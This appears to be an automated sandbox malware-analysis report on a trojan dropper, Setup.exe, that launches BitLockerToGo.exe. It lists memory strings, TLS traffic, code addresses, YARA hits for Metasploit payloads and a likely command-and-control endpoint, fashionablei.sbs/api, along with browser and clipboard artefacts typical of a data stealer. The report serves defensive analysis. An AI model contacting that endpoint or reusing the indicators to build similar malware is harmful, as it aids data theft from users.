Source: BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Setup.exe, program.js.0.dr	String found in binary or memory: http://json-schema.org/draft-07/schema
Source: program.js.0.dr	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: Setup.exe, program.js.0.dr	String found in binary or memory: http://json-schema.org/schema
Source: BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Setup.exe, program.js.0.dr	String found in binary or memory: https://aws.amazon.com
Source: BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 00000001.00000003.2050459166.000000000297E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/
Source: BitLockerToGo.exe, 00000001.00000003.1945030827.000000000297F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2069904374.0000000002922000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2050525420.0000000002987000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2020441748.000000000297F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2069904374.00000000028ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2050492228.0000000002983000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2050459166.000000000297E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/api
Source: BitLockerToGo.exe, 00000001.00000003.1930065871.000000000297E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/apiu
Source: BitLockerToGo.exe, 00000001.00000003.2020774055.0000000002981000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2020441748.000000000297F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/e
Source: BitLockerToGo.exe, 00000001.00000003.2020441748.000000000297F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs/x
Source: BitLockerToGo.exe, 00000001.00000002.2070098899.000000000299E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs:443/api
Source: BitLockerToGo.exe, 00000001.00000002.2070098899.000000000299E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs:443/apiB
Source: BitLockerToGo.exe, 00000001.00000002.2070098899.000000000299E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fashionablei.sbs:443/apiZ
Source: Setup.exe, program.js.0.dr	String found in binary or memory: https://github.com/aws/jsii
Source: Setup.exe, program.js.0.dr	String found in binary or memory: https://github.com/aws/jsii.git
Source: Setup.exe, program.js.0.dr	String found in binary or memory: https://github.com/aws/jsii/issues
Source: program.js.0.dr	String found in binary or memory: https://github.com/jprichardson/node-fs-extra/issues/269
Source: program.js.0.dr	String found in binary or memory: https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#
Source: BitLockerToGo.exe, 00000001.00000003.1930552218.0000000004EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: BitLockerToGo.exe, 00000001.00000003.1960857693.0000000004FAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000001.00000003.1960857693.0000000004FAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000001.00000003.1930663030.0000000004ED5000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1930552218.0000000004EDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: BitLockerToGo.exe, 00000001.00000003.1930663030.0000000004EB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: BitLockerToGo.exe, 00000001.00000003.1930663030.0000000004ED5000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1930552218.0000000004EDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: BitLockerToGo.exe, 00000001.00000003.1930663030.0000000004EB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000001.00000003.1931498543.0000000004E98000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1931327142.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000001.00000003.1960857693.0000000004FAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BitLockerToGo.exe, 00000001.00000003.1960857693.0000000004FAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BitLockerToGo.exe, 00000001.00000003.1960857693.0000000004FAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BitLockerToGo.exe, 00000001.00000003.1960857693.0000000004FAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000001.00000003.1960857693.0000000004FAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_00436960 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_00436960

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_00436960 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_00436960

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1906668887.000000000B62C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00410370	1_2_00410370
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00423330	1_2_00423330
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042A4D0	1_2_0042A4D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040F490	1_2_0040F490
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041D667	1_2_0041D667
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00446600	1_2_00446600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004309A1	1_2_004309A1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043CAF0	1_2_0043CAF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00426B58	1_2_00426B58
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042FD63	1_2_0042FD63
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00420D60	1_2_00420D60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00446E50	1_2_00446E50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040EE20	1_2_0040EE20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042EE3D	1_2_0042EE3D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040FE86	1_2_0040FE86
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00429FE0	1_2_00429FE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00407040	1_2_00407040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00401000	1_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00409006	1_2_00409006
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040A020	1_2_0040A020
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042C020	1_2_0042C020
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042B03C	1_2_0042B03C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004110D7	1_2_004110D7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00422090	1_2_00422090
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004260BA	1_2_004260BA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043C152	1_2_0043C152
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00445120	1_2_00445120
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040B130	1_2_0040B130
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004441C0	1_2_004441C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004341D4	1_2_004341D4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043C180	1_2_0043C180
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042F1A2	1_2_0042F1A2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00413227	1_2_00413227
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004012D5	1_2_004012D5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00429340	1_2_00429340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042B30E	1_2_0042B30E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00401328	1_2_00401328
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043C3E0	1_2_0043C3E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042D3EA	1_2_0042D3EA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040D3F0	1_2_0040D3F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00430417	1_2_00430417
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004454D0	1_2_004454D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00416493	1_2_00416493
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00431495	1_2_00431495
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043D4B8	1_2_0043D4B8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040A500	1_2_0040A500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00436520	1_2_00436520
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004405D0	1_2_004405D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00444640	1_2_00444640
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00429340	1_2_00429340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004156C1	1_2_004156C1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040971D	1_2_0040971D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00417736	1_2_00417736
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0042A7E2	1_2_0042A7E2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040D780	1_2_0040D780
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00445800	1_2_00445800
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004468C0	1_2_004468C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004038E0	1_2_004038E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041E882	1_2_0041E882
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041F8A0	1_2_0041F8A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043B91D	1_2_0043B91D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040E920	1_2_0040E920
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004229C0	1_2_004229C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004259D0	1_2_004259D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_004099A9	1_2_004099A9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00407A60	1_2_00407A60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00429ADE	1_2_00429ADE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00409A81	1_2_00409A81
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0041CAB0	1_2_0041CAB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00446B70	1_2_00446B70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0043DB76	1_2_0043DB76
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040ABC0	1_2_0040ABC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0040BC40	1_2_0040BC40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00422CE0	1_2_00422CE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00429D3E	1_2_00429D3E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00430FFE	1_2_00430FFE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_00404FB0	1_2_00404FB0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 0040C830 appears 70 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 0041C670 appears 196 times

Source: Setup.exe, 00000000.00000002.1902539857.000000000B488000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs Setup.exe

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1906668887.000000000B62C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/4@1/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_0043CE40 CoCreateInstance,SysAllocString,

1_2_0043CE40

Source: C:\Users\user\Desktop\Setup.exe

File created: C:\Users\user\AppData\Local\Temp\jsii-runtime.2235995355

Jump to behavior

Source: Setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Setup.exe	String found in binary or memory: &github.com/filecoin-project/go-address
Source: Setup.exe	String found in binary or memory: &github.com/filecoin-project/go-address&[]cloudassemblyschema.MissingContext
Source: Setup.exe	String found in binary or memory: depgithub.com/filecoin-project/go-addressv0.0.2-0.20200218010043-eb9bb40ed5beh1:TooKBwR/g8jG0hZ3lqe9S5sy2vTUcLOZLlz3M5wGn2E=
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.init.0
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.glob..func1
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Bytes
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.glob..func2
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Protocol
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Payload
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.String
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Empty
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Unmarshal
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.Marshal
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).UnmarshalJSON
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.MarshalJSON
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Scan
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.NewIDAddress
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.NewActorAddress
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.addressHash
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.NewFromBytes
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.newAddress
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.encode
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.Checksum
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.decode
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.ValidateChecksum
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.hash
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.MarshalBinary
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).UnmarshalBinary
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.Address.MarshalCBOR
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).UnmarshalCBOR
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.init.1
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.init
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Bytes
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Empty
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Marshal
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).MarshalBinary
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).MarshalCBOR
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).MarshalJSON
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Payload
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Protocol
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).String
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address.(*Address).Unmarshal
Source: Setup.exe	String found in binary or memory: net/addrselect.go
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address@v0.0.2-0.20200218010043-eb9bb40ed5be/address.go
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address@v0.0.2-0.20200218010043-eb9bb40ed5be/address.go
Source: Setup.exe	String found in binary or memory: github.com/filecoin-project/go-address@v0.0.2-0.20200218010043-eb9bb40ed5be/constants.go
Source: Setup.exe	String found in binary or memory: github.com/aws/jsii-runtime-go@v1.103.1/internal/kernel/load.go
Source: Setup.exe	String found in binary or memory: github.com/saferwall/pe@v1.5.4/loadconfig.go

Source: unknown	Process created: C:\Users\user\Desktop\Setup.exe "C:\Users\user\Desktop\Setup.exe"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
